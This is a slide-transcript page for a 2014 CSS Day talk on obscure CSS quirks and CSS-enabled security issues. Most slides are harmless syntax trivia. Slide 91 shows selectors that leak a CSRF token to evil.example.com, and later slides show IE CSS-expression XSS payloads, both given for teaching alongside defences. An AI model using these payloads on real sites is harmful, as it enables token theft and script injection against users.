3.14 things I didn’t know about CSS @ CSS Day 2014

3.14 things I didn’t know about CSS @ CSS Day 2014

This talk showcases a series of obscure CSS fun facts, such as CSS syntax gimmicks and quirks, weird tricks that involve CSS in one way or another, and security vulnerabilities that are enabled by (ab)using CSS in unexpected ways.

Video: http://vimeo.com/channels/cssday/100264064
Links: http://lanyrd.com/2014/cssday/scypwp/

24e08a9ea84deb17ae121074d0f17125?s=128

Mathias Bynens

June 04, 2014
Tweet

Transcript

  1. 2.
  2. 3.
  3. 11.
  4. 12.

    .foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green;

    } New !important best practice ✔ * not really *
  5. 16.

    Font family names in CSS html {
 font-family: 'Comic Sans

    MS';
 } “If there’s whitespace in the font family name, it must be quoted.”
  6. 17.

    Font family names in CSS html {
 font-family: Comic Sans

    MS;
 } “If there’s whitespace in the font family name, it must be quoted.” http://mths.be/bft
  7. 42.
  8. 48.
  9. 53.
  10. 54.
  11. 55.

    CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK

    Date: Wed, 04 Jun 2014 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe
  12. 56.

    CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK

    Date: Wed, 04 Jun 2014 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe
  13. 57.
  14. 59.

    U̓ͬ̿͐̚ ͛̐ͩ̈́̀ͮ ̨͢ ̴ ̫̩͈̲̬̭̙͇͙ ̩̮̣ n ̅̒̽͊ͧ͆ͯͨ̍͊ ͜ ̡

    ͜ ̧ ͖ ̲ ̣ ̬ ̳ ͅ ̘͖ ͅ ̗ i͆̿̉̄͒ͭ̉ͥͣ͑ ͏̶̨̛͔̲͈̪̹͎͓͖̙̖̖̯̯̫̙̫̙̦̜̀ç ̯̖̖̬̻̻͉ ̎ͪ̄̀͋̄͐̐̾ͮ̈ͫ̊͗̊́̚ ö́̃̈̾͊ͮ̓ͩͤ̊ͭ̒̅͋͒ͫ̿ ̢ ̕ ̢ ͕ 㸅 ̩͔͙ ̼ͅ 㸅 ̫̩̟̘̹ d͋ͧ͌ͤ ͜ ͘ ͞ ̻̹̪͓̥ e̎ͪ̓̄̓̾ ͢ ̛ ҉ ͍̮͔͍̮͍̳̬ ̊ ̅ͣ̽ͫ̚ ̃ͦͭ ̋͑ ̋ͬͣͬ ̑̒ ̊ ̷ ̩͉͎ ̥͙̹ i ̒͗ͤ̔̈́͑ͫͥ̂͐ͦ͊ͥ̉ ̧ ̛ ̥͓̞͎͉̩̩̪̜̝̮͈͚͚ ͍ n̴̊͊ͧ̌ ͜ ͕͍̩̥̩̪̞̜͓̜ ́ͤͮ̆͒ ҉ ̶ ̧̦ ̖̠̹̗̞̯̳ 㸅 C̎̒̓̊̂̑̐ͥ̂͌ ͛ ̀ ͞ ͡ ̸ ͠ ̦ ̭̲̘͈̥̪̹̟̤͎͉̹̤̳̦ S ͂ ̑ ̑͊ ̓ ̔͑ ͂ͧ͐ ͂ ̆ ̂͗ ̈͞ ̢ ̛ ̡͢ ̲ ̰ ̫̩ ̥ ͓ ̗͚̟͍̘̜̜ Ŝ̒̌̉ͭ̔ͣͣ̇͌̚ ̴ ̧͖̦ ̘̭͇̭̰̹̦
  15. 60.

    Classes and IDs in HTML <p class="404-error">…</p> <small class="©">legalese</small> <p

    id="—">HTML 4 lyfe, homes!</p> <blockquote class="“”">LOL</blockquote> <p id=" ⌘⌥ ">…</p> <p class="⚠️">Warning: …</p> <p id="#">Outdated browser detected.</p> http://mths.be/afd
  16. 61.

    Classes and IDs in HTML <p id="#id">Good luck styling me!</p>

    <p class=".class">heh</p> <p id="#id.class:hover{}">huh</p> <p id="[attr='value']">wat</p> http://mths.be/afd
  17. 63.

    Escaping CSS selectors <p id="#id"> #\#id { } <p class=".class">

    .\.class { } <p id="#id.class:hover{}"> #\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { } <p class="[attr='value']"> .\[attr\=\'value\'\] { } <p id="404-error"> #\34 04-error { }
  18. 64.

    Escaping CSS selectors <p id="#©"> #© { } #\A9 {

    } <p class="—"> .— { } .\2665 { } <p id="“”"> #“” { } #\201C \201D { } <p class="!"> .! { } .\1F4A9 { }
  19. 69.

    Escaping CSS selectors var $el = $('#' + location.hash); //

    … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape
  20. 70.

    Escaping CSS selectors var $el = $('#' + location.hash); //

    … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape ✘
  21. 71.

    Escaping CSS selectors var $el = $('#' + CSS.escape(location.hash)); //

    … ! var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … http://mths.be/cssescape ✔
  22. 73.

    XSS

  23. 75.

    Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  24. 77.

    Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  25. 78.

    Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  26. 79.
  27. 80.
  28. 81.
  29. 82.
  30. 83.
  31. 84.
  32. 85.
  33. 86.
  34. 87.
  35. 88.
  36. 89.
  37. 91.

    #csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); }

    #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Stealing data from the DOM http://mths.be/bsj
  38. 95.

    <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 http://mths.be/brw
  39. 96.

    <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 http://mths.be/brw
  40. 97.

    * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 http://mths.be/brw
  41. 98.
  42. 99.

    * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 http://mths.be/brw
  43. 100.

    * { width: expression( if (!window.done) alert('XSS through CSS'), window.done=1

    ); } CSS Expressions in IE ≤ 7 http://mths.be/brw
  44. 102.
  45. 103.
  46. 106.

    <meta http-equiv="X-UA-Compatible" content="IE=7"> <style> #myDiv { background: hotpink; position: absolute;

    left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 10 http://mths.be/brx
  47. 108.

    1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY 
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? http://mths.be/bpu
  48. 109.

    1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY 
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? http://mths.be/bpu
  49. 117.
  50. 119.

    Thanks to: ! Simon Pieters Tab Atkins Martin Kool Mario

    Heiderich Frederik Braun Mike West Divya Manian